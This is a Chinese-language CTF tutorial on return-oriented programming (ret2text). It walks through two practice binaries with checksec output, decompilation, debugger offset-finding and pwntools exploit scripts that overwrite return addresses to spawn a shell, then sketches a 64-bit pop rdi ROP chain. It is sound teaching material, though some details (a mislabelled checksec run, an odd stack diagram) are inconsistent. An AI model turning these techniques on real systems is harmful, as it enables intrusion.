随着 NX (Non-eXecutable) 保护的开启,传统的直接向栈或者堆上直接注入代码的方式难以继续发挥效果,由此攻击者们也提出来相应的方法来绕过保护。

目前被广泛使用的攻击手法是 返回导向编程 (Return Oriented Programming),其主要思想是在 栈缓冲区溢出的基础上,利用程序中已有的小片段 (gadgets) 来改变某些寄存器或者变量的值,从而控制程序的执行流程。

gadgets 通常是以 ret 结尾的指令序列,通过这样的指令序列,我们可以多次劫持程序控制流,从而运行特定的指令序列,以完成攻击的目的。

返回导向编程这一名称的由来是因为其核心在于利用了指令集中的 ret 指令,从而改变了指令流的执行顺序,并通过数条 gadget “执行” 了一个新的程序。

使用 ROP 攻击一般得满足如下条件:

  • 程序漏洞允许我们劫持控制流,并控制后续的返回地址。
  • 可以找到满足条件的 gadgets 以及相应 gadgets 的地址。

作为一项基本的攻击手段,ROP 攻击并不局限于栈溢出漏洞,也被广泛应用在堆溢出等各类漏洞的利用当中。

需要注意的是,现代操作系统通常会开启地址随机化保护(ASLR),这意味着 gadgets 在内存中的位置往往是不固定的。但幸运的是其相对于对应段基址的偏移通常是固定的,因此我们在寻找到了合适的 gadgets 之后可以通过其他方式泄漏程序运行环境信息,从而计算出 gadgets 在内存中的真正地址。

ret2text

原理

ret2text 即控制程序执行程序本身已有的的代码 (即, .text 段中的代码) 。其实,这种攻击方法是一种笼统的描述。我们控制执行程序已有的代码的时候也可以控制程序执行好几段不相邻的程序已有的代码 (也就是 gadgets),这就是我们所要说的 ROP。

这时,我们需要知道对应返回的代码的位置。当然程序也可能会开启某些保护,我们需要想办法去绕过这些保护。

例1

其实,在栈溢出的基本原理中,我们已经介绍了这一简单的攻击。在这里,我们再给出另外一个例子,bamboofox 中介绍 ROP 时使用的 ret2text 的例子。

点击下载: ret2text

首先,查看一下程序的保护机制:

➜  checksec ret2text
Arch: i386-32-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x8048000)
Stripped: No
Debuginfo: Yes

可以看出程序是 32 位程序,且仅开启了栈不可执行保护。接下来我们使用 IDA 反编译该程序:

int __cdecl main(int argc, const char **argv, const char **envp)
{
char s[100]; // [esp+1Ch] [ebp-64h] BYREF

setvbuf(stdout, 0, 2, 0);
setvbuf(_bss_start, 0, 1, 0);
puts("There is something amazing here, do you know anything?");
gets(s);
printf("Maybe I will tell you next time !");
return 0;
}

可以看出程序在主函数中使用了 gets 函数,显然存在栈溢出漏洞。接下来查看反汇编代码:

.text:080485FD secure          proc near
.text:080485FD
.text:080485FD input = dword ptr -10h
.text:080485FD secretcode = dword ptr -0Ch
.text:080485FD
.text:080485FD ; __unwind {
.text:080485FD push ebp
.text:080485FE mov ebp, esp
.text:08048600 sub esp, 28h
.text:08048603 mov dword ptr [esp], 0 ; timer
.text:0804860A call _time
.text:0804860F mov [esp], eax ; seed
.text:08048612 call _srand
.text:08048617 call _rand
.text:0804861C mov [ebp+secretcode], eax
.text:0804861F lea eax, [ebp+input]
.text:08048622 mov [esp+4], eax
.text:08048626 mov dword ptr [esp], offset unk_8048760
.text:0804862D call ___isoc99_scanf
.text:08048632 mov eax, [ebp+input]
.text:08048635 cmp eax, [ebp+secretcode]
.text:08048638 jnz short locret_8048646
.text:0804863A mov dword ptr [esp], offset command ; "/bin/sh"
.text:08048641 call _system

在 secure 函数又发现了存在调用 system("/bin/sh") 的代码,那么如果我们直接控制程序返回至 0x0804863A ,那么就可以得到系统的 shell 了。

下面就是我们如何构造 payload 了,首先需要确定的是我们能够控制的内存的起始地址距离 main 函数的返回地址的字节数。

.text:080486A7                 lea     eax, [esp+1Ch]
.text:080486AB mov [esp], eax ; s
.text:080486AE call _gets

可以看到该字符串是通过相对于 esp 的索引,所以我们需要进行调试,将断点下在 call 处,查看 esp,ebp,如下:

gef➤  b *0x080486AE
Breakpoint 1 at 0x80486ae: file ret2text.c, line 24.
gef➤ r
There is something amazing here, do you know anything?

Breakpoint 1, 0x080486ae in main () at ret2text.c:24
warning: 24 ret2text.c: No such file or directory
LEGEND: STACK | HEAP | CODE | DATA | WX | RODATA
─────────────[ REGISTERS / show-flags off / show-compact-regs off ]─────────────
EAX 0xffb62afc ◂— 0
EBX 0xf52dae34 (_GLOBAL_OFFSET_TABLE_) ◂— 0x230d2c /* ',\r#' */
ECX 0xf52dc8a0 (_IO_stdfile_1_lock) ◂— 0
EDX 0
EDI 0xf532cb60 (_rtld_global_ro) ◂— 0
ESI 0x80486d0 (__libc_csu_init) ◂— push ebp
EBP 0xffb62b68 ◂— 0
ESP 0xffb62ae0 —▸ 0xffb62afc ◂— 0
EIP 0x80486ae (main+102) ◂— call gets@plt

可以看到 esp 为 0xffb62ae0,ebp 为 0xffb62b68,同时 s 相对于 esp 的索引为 esp+0x1c,因此,我们可以推断:

  • s 的地址为 0xffb62afc
  • s 相对于 ebp 的偏移为 0x6c
  • s 相对于返回地址的偏移为 0x6c+4

或者

pwndbg> b *0x080486AE
Breakpoint 1 at 0x80486ae: file ret2text.c, line 24.
pwndbg> r
pwndbg> cyclic 512
aaaabaaacaaadaaaeaaafaaagaaahaaaiaaajaaakaaalaaamaaanaaaoaaapaaaqaaaraaasaaataaauaaavaaawaaaxaaayaaazaabbaabcaabdaabeaabfaabgaabhaabiaabjaabkaablaabmaabnaaboaabpaabqaabraabsaabtaabuaabvaabwaabxaabyaabzaacbaaccaacdaaceaacfaacgaachaaciaacjaackaaclaacmaacnaacoaacpaacqaacraacsaactaacuaacvaacwaacxaacyaaczaadbaadcaaddaadeaadfaadgaadhaadiaadjaadkaadlaadmaadnaadoaadpaadqaadraadsaadtaaduaadvaadwaadxaadyaadzaaebaaecaaedaaeeaaefaaegaaehaaeiaaejaaekaaelaaemaaenaaeoaaepaaeqaaeraaesaaetaaeuaaevaaewaaexaaeyaaezaafbaafcaaf
pwndbg> ni
aaaabaaacaaadaaaeaaafaaagaaahaaaiaaajaaakaaalaaamaaanaaaoaaapaaaqaaaraaasaaataaauaaavaaawaaaxaaayaaazaabbaabcaabdaabeaabfaabgaabhaabiaabjaabkaablaabmaabnaaboaabpaabqaabraabsaabtaabuaabvaabwaabxaabyaabzaacbaaccaacdaaceaacfaacgaachaaciaacjaackaaclaacmaacnaacoaacpaacqaacraacsaactaacuaacvaacwaacxaacyaaczaadbaadcaaddaadeaadfaadgaadhaadiaadjaadkaadlaadmaadnaadoaadpaadqaadraadsaadtaaduaadvaadwaadxaadyaadzaaebaaecaaedaaeeaaefaaegaaehaaeiaaejaaekaaelaaemaaenaaeoaaepaaeqaaeraaesaaetaaeuaaevaaewaaexaaeyaaezaafbaafcaaf
pwndbg> ni
pwndbg> 回车
pwndbg>
00:0000│ esp 0xffa5f5cc ◂— 0x62616164 ('daab')
01:0004│ 0xffa5f5d0 ◂— 0x62616165 ('eaab')
02:0008│ 0xffa5f5d4 ◂— 0x62616166 ('faab')
03:000c│ 0xffa5f5d8 ◂— 0x62616167 ('gaab')
04:0010│ 0xffa5f5dc ◂— 0x62616168 ('haab')
05:0014│ 0xffa5f5e0 ◂— 0x62616169 ('iaab')
06:0018│ 0xffa5f5e4 ◂— 0x6261616a ('jaab')
07:001c│ 0xffa5f5e8 ◂— 0x6261616b ('kaab')
pwndbg> cyclic -l daab
Finding cyclic pattern of 4 bytes: b'daab' (hex: 0x64616162)
Found at offset 112

因此最后的 payload 如下:

from pwn import *
sh = process('./ret2text')
target = 0x804863a
sh.sendline(b'A' * (0x6c + 4) + p32(target))
sh.interactive()

例2

点击下载: ez_pwn

➜  checksec ret2text
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX unknown - GNU_STACK missing
PIE: No PIE (0x400000)
Stack: Executable
RWX: Has RWX segments

可以看出程序是64位小端程序,且仅开启了栈不可执行保护。接下来我们使用 IDA 反编译该程序:

__int64 __fastcall main(int a1, char **a2, char **a3)
{
int v4; // [rsp+Ch] [rbp-4h] BYREF

setbuf(stdin, 0LL);
setbuf(stdout, 0LL);
puts("Guess what I think!");
puts("233 or 666");
__isoc99_scanf("%d", &v4);
if ( v4 == 233 )
sub_400726();
if ( v4 == 666 )
sub_400737();
if ( v4 == 5438 )
sub_400748(5438);
return 0LL;
}

发现输入5438后会进入 sub_400748

int __fastcall sub_400748(int a1)
{
int result; // eax
char buf[32]; // [rsp+10h] [rbp-20h] BYREF

puts("You find my secret!");
puts("So,Tell me your name!");
read(0, buf, 0x50uLL);
result = printf("I have remembered you, %s", buf);
if ( a1 == 233 )
return system("/bin/sh");
return result;
}

存在栈溢出漏洞,且有 system(“/bin/sh”)[a1=0xe9即可得到],buf 距离 rbp 存在有0x20个字符

.text:0000000000400748 sub_400748      proc near               ; CODE XREF: main+91↓p
.text:0000000000400748
.text:0000000000400748 var_24 = dword ptr -24h
.text:0000000000400748 buf = byte ptr -20h
.text:0000000000400748
.text:0000000000400748 ; __unwind {
.text:0000000000400748 push rbp
.text:0000000000400749 mov rbp, rsp
.text:000000000040074C sub rsp, 30h
.text:0000000000400750 mov [rbp+var_24], edi
.text:0000000000400753 mov edi, offset aYouFindMySecre ; "You find my secret!"
.text:0000000000400758 call _puts
.text:000000000040075D mov edi, offset aSoTellMeYourNa ; "So,Tell me your name!"
.text:0000000000400762 call _puts
.text:0000000000400767 lea rax, [rbp+buf]
.text:000000000040076B mov edx, 50h ; 'P' ; nbytes
.text:0000000000400770 mov rsi, rax ; buf
.text:0000000000400773 mov edi, 0 ; fd
.text:0000000000400778 mov eax, 0
.text:000000000040077D call _read
.text:0000000000400782 lea rax, [rbp+buf]
.text:0000000000400786 mov rsi, rax
.text:0000000000400789 mov edi, offset format ; "I have remembered you, %s"
.text:000000000040078E mov eax, 0
.text:0000000000400793 call _printf
.text:0000000000400798 cmp [rbp+var_24], 0E9h
.text:000000000040079F jnz short loc_4007AB
.text:00000000004007A1 mov edi, offset command ; "/bin/sh"
.text:00000000004007A6 call _system
.text:00000000004007AB
.text:00000000004007AB loc_4007AB: ; CODE XREF: sub_400748+57↑j
.text:00000000004007AB nop
.text:00000000004007AC leave
.text:00000000004007AD retn
低地址
+-----------------+
| ... |
+-----------------+
| buf[31] | <-- rbp-0x20 + 31
| ... |
| buf[0] | <-- rbp-0x20 (buf起始位置)
+-----------------+
| 保存的RBP | <-- rbp (当前栈帧基址)
+-----------------+
| 返回地址 | <-- rbp+0x8
+-----------------+
| ... |
+-----------------+
高地址
from pwn import *
context(arch='amd64', os='linux')
sh = process('./ez_pwn')
binsh_addr=0x4007a1
sh.sendline(b'5438')
buf_padding = b'A' * 31 + b'\x00' # 填充buf (32字节), 末尾\x00防止printf乱码
rbp_value = p64(0x601040) #典型的.bss段起始地址(可通过readelf -S ./binary确认)
return_addr = p64(binsh_addr) # 覆盖返回地址为system调用处
payload = buf_padding + rbp_value + return_addr
sh.sendline(payload)
sh.interactive()

from pwn import *
p = process('./ez_pwn')
system_addr = 0x4007A1 # system("/bin/sh")地址
p.sendline(b'5438')
payload = b'A'*0x20 # 填充buf (32字节)
payload += p64(1) # 覆盖RBP (任意值)
payload += p64(system_addr) # 覆盖返回地址
p.sendline(payload)
p.interactive()

64 位程序,需要处理堆栈平衡
堆栈平衡:当我们在堆栈中进行堆栈的操作的时候,一定要保证在ret这条指令之前,esp指向的是我们压入栈中的地址,函数执行到ret执行之前,堆栈栈顶的地址一定要是call指令的下一个地址。

64 位程序的ROP链

程序执行完 pop rdi; ret 后:

  • pop rdi"/bin/sh" 地址拿给 rdi

  • ret 自动去栈顶取下一条指令地址,正好就是 system()

  • system() 一看 rdi 里是 "/bin/sh",就执行它,shell 就出来

|-----------------------| <-- 栈底 (高地址)
| ....(程序原有数据) .....|
|-----------------------|
| 返回地址 (被覆盖) | --> 指向 pop rdi; ret (0x4011d2) <-- 你覆盖的
|-----------------------|
| 参数1 (给 pop rdi) | --> "/bin/sh" 地址 (0x601000) <-- 你放的
|-----------------------|
| 返回地址 (给 pop rdi 之后的 ret) | --> 指向 system() (0x400530) <-- 你放的
|-----------------------|
| ... (可能还有更多) .... |
|-----------------------|
| b'A' * 32 | <-- 填充的垃圾数据 <-- 你放的
|-----------------------| <-- 栈顶 (低地址) - 你的输入从这里开始